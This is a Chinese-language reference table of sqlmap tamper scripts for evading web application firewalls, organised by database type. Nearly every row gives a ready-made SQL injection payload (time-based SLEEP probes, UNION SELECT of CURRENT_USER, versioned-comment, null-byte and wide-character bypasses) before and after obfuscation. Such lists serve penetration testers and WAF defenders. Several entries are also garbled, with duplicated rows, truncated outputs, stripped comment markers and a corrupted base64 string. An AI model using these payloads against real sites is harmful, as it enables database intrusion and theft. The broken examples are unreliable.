SQLmap绕waf脚本

2021年6月1日 10:58

SQLMAP --tamper 绕过WAF脚本分类整理				
支持的数据库	编号	脚本名称	作用	实现方式
all	1	apostrophemask.py	用utf8代替引号	("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
	2	base64encode.py	用base64编码替换	("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUplw=='
	3	multiplespaces.py	围绕SQL关键字添加多个空格	('1 UNION SELECT foobar') '1 UNION SELECT foobar'
	4	space2plus.py	用+替换空格	('SELECT id FROM users') 'SELECT+id+FROM+users'
	5	nonrecursivereplacement.py	双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（"SELECT"、""））filters	('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--'
	6	space2randomblank.py	代替空格字符（""）从一个随机的空 白字符可选字符的有效集	('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
	7	unionalltounion.py	替换 UNION ALL SELECT UNION SELECT	('-1 UNION ALL SELECT') '-1 UNION SELECT'
	8	securesphere.py	追加特制的字符串	('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
mssql	1	space2hash.py	绕过过滤'=' 替换空格字符（"），（'--'）后跟一个破折号注释，一个随机字符串和一个新行（'n'）	 '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
	2	equaltolike.py	like 代替等号	* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
	3	space2mssqlblank.py(mssql)	空格替换为其它空符号	Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
	4	space2mssqlhash.py	替换空格	('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
	5	between.py	用between替换大于号（>）	('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
	6	percentage.py	asp允许每个字符前面添加一个%号	* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
	7	sp_password.py	追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾	('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password'
				* Input: SELECT FIELD FROM%20TAB

	7	sp_password.py	追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾	'1 AND 9227=9227-- sp_password'
	8	charencode.py	url编码	* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
	9	randomcase.py	随机大小写	* Input: INSERT * Output: InsERt
	10	charunicodeencode.py	字符串 unicode 编码	* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
	11	space2comment.py	Replaces space character (' ') with comments '/**/'	* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
MySQL >= 5.1.13	1	equaltolike.py	like 代替等号	* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
	2	greatest.py	绕过过滤'>' ,用GREATEST替换大于号。	('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
	3	apostrophenullencode.py	绕过过滤双引号，替换字符和双引号。	tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
	4	ifnull2ifisnull.py	绕过对 IFNULL 过滤。 替换类似'IFNULL(A, B)'为'IF(ISNULL(A), B, A)'	('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
	5	space2mssqlhash.py	替换空格	('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227'
	6	modsecurityversioned.py	过滤空格，包含完整的查询版本注释	('1 AND 2>1--') '1 /*!30874AND 2>1*/--'
	7	space2mysqlblank.py	空格替换其它空白符号(mysql)	Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users
	8	between.py	用between替换大于号（>）	('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
	9	modsecurityzeroversioned.py	包含了完整的查询与零版本注释	('1 AND 2>1--') '1 /*!00000AND 2>1*/--'
	10	space2mysqldash.py	替换空格字符（"）（'－'）后跟一个破折号注释一个新行（'\n'）	('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
	11	bluecoat.py	代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like	('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
	12	percentage.py	asp允许每个字符前面添加一个%号	* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
	13	charencode.py	url编码	* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

	14	randomcase.py	随机大小写	* Input: INSERT * Output: InsERt
	15	versionedkeywords.py	Encloses each non-function keyword with versioned MySQL comment	* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
	16	space2comment.py	Replaces space character (' ') with comments '/**/'	* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
	17	charunicodeencode.py	字符串 unicode 编码	* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
	18	versionedmorekeywords.py	注释绕过	* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,1 * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,1
MySQL < 5.1	19	halfversionedmorekeywords.py	关键字前加注释	* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0C
	20	halfversionedmorekeywords.py	当数据库为mysql时绕过防火墙，每个关键字之前添加 mysql版本评论	1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), N 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHA
MySQL >= 5.1.13	21	space2morehash.py	空格替换为 #号 以及更多随机字符串 换行符	* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle	1	greatest.py	绕过过滤'>' ,用GREATEST替换大于号。	('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
	2	apostrophenullencode.py	绕过过滤双引号，替换字符和双引号。	tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
	3	between.py	用between替换大于号（>）	('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
	4	charencode.py	url编码	* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
	5	randomcase.py	随机大小写	* Input: INSERT * Output: InsERt
	6	charunicodeencode.py	字符串 unicode 编码	* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020

				%u0046%u0052%u004f%u004d%u002
	7	space2comment.py	Replaces space character (' ') with comments '/**/'	* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
PostgreSQL	1	greatest.py	绕过过滤'>' ,用GREATEST替换大于号。	('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
	2	apostrophenullencode.py	绕过过滤双引号，替换字符和双引号。	tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
	3	between.py	用between替换大于号（>）	('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
	4	percentage.py	asp允许每个字符前面添加一个%号	* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
	5	charencode.py	url编码	* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
	6	randomcase.py	随机大小写	* Input: INSERT * Output: InsERt
	7	charunicodeencode.py	字符串 unicode 编码	* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0
	8	space2comment.py	Replaces space character (' ') with comments '/**/'	* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
Access	1	appendnullbyte.py	在有效负荷结束位置加载零字节字符编码	('1 AND 1=1') '1 AND 1=1%00'
其他		chardoubleencode.py	双url编码(不处理以编码的)	* Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542
		unmagicquotes.py	宽字符绕过 GPC addslashes	* Input: 1' AND 1=1 * Output: 1%bf%27 AND 1=1--%20
		randomcomments.py	用/**/分割sql关键字	'INSERT' becomes 'IN//S//ERT'